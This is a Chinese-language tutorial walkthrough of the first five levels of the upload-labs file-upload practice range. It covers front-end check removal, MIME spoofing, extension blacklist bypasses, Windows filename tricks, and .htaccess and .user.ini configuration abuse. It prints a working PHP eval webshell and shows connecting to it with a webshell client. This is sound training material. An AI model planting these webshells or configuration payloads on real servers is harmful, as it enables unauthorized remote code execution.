前言:
今天我们来学习文件上传及下载,学习靶场为upload-labs
正文:
第一关
上传个kun12343.php,发现提示:

发现浏览器都没刷新,判断应该是前端js过滤。
查看源代码:

名字叫upload_file,查看页面源代码,发现函数checkFile

搜索checkFile发现

把这个onsubmit给删了,再次上传php文件,上传成功

成功通过。
第二关
我们选择kun12343.php,进行抓包得到

先把Content-Type改一下,改成image/png,点击发送。发现成功上传。

第三关(黑名单绕过)
我们选择kun12343.php,进行抓包得到

先把Content-Type改一下,改成image/png,点击发送。发现不行,这里做了黑名单限制,

将名字改成php3或者php5,发现上传成功了。

第四关(.htaccess 上传)
我们选择kun12343.php,进行抓包,先把Content-Type改一下,改成image/png,将名字改成php5发现也不行。

分析源码:发现写了好多黑名单
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
我们尝试.htaccess 上传,首先上传一个一句话木马,以jpg结尾,

将下面代码取名为.htaccess,保存,上传,这段代码的意思是,将所以格式的文件都以php文件解析。
<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

上传成功后,我们访问一下我们的kun12343.jpg。

可以看到当成php文件执行了,使用蚁剑连接一下,成功利用

另外一种方法就是利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
双引号 " = 点号.
大于符号 > = 问号?
小于符号 < = 星号*
注意,在windows直接修改文件名称,肯定是不让你加冒号的,所以我们先以图片的格式上传,然后抓包,修改文件名称,加上冒号,上传一个名为 kun12343.php:.jpg 的文件。

上传上去之后的效果,由于文件名称不允许出现冒号,所有windows就将冒号和后面的字符都去掉了,就剩下kun12343.php了,但是有个点就是,文件为0kb

然后将文件名改为 kun12343.< 或kun12343.<<< 或kun12343.>>> 或kun12343.>>< 后再次上传,重写 kun12343.php 文件内容,Webshell代码就会写入原来kun12343.php 空文件中。


第五关(.user.ini 上传)
.user.ini
作用:特定于用户或特定目录的配置文件,通常位于·Web·应用程序的根目录下。
它用于覆盖或追加全局配置文件(如·php.ini)中的PHP·配置选项。
作用范围:存放该文件的目录以及其子目录
优先级:较高,可以覆盖 php.ini
生效方式:立即生效
php.ini
作用:存储了对整个 PHP 环境生效的配置选项。它通常位于·PHP·安装目录中心
作用范围:所有运行在该 PHP 环境中的 PHP 请求
优先级:较低
生效方式:重启 php或web服务器
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell
.user.ini
auto_prepend_file=kun12343.jpg
.user.ini文件里的意思是:所有的php文件都自动包含kun12343.jpg文件。.user.ini相当于一个用户自定义的php.ini
步骤:
先上传.user.ini文件 再上传含有后门代码的kun12343.jpg文件 根据提示:上传目录存在php文件(readme.php)
所以readme.php会自动包含kun12343.jpg里面的代码
kun12343.jpg里面的一句话木马
<?php @eval($_POST['kun12343']); ?>
这时候访问readme.php会导致kun12343.jpg里面的木马被执行。
注意:phpstudy的版本要切换成更高版本。
&spm=1001.2101.3001.5002&articleId=144041736&d=1&t=3&u=25154ebc55b4409daa3b3321cec6dc6f)
4万+

被折叠的 条评论
为什么被折叠?



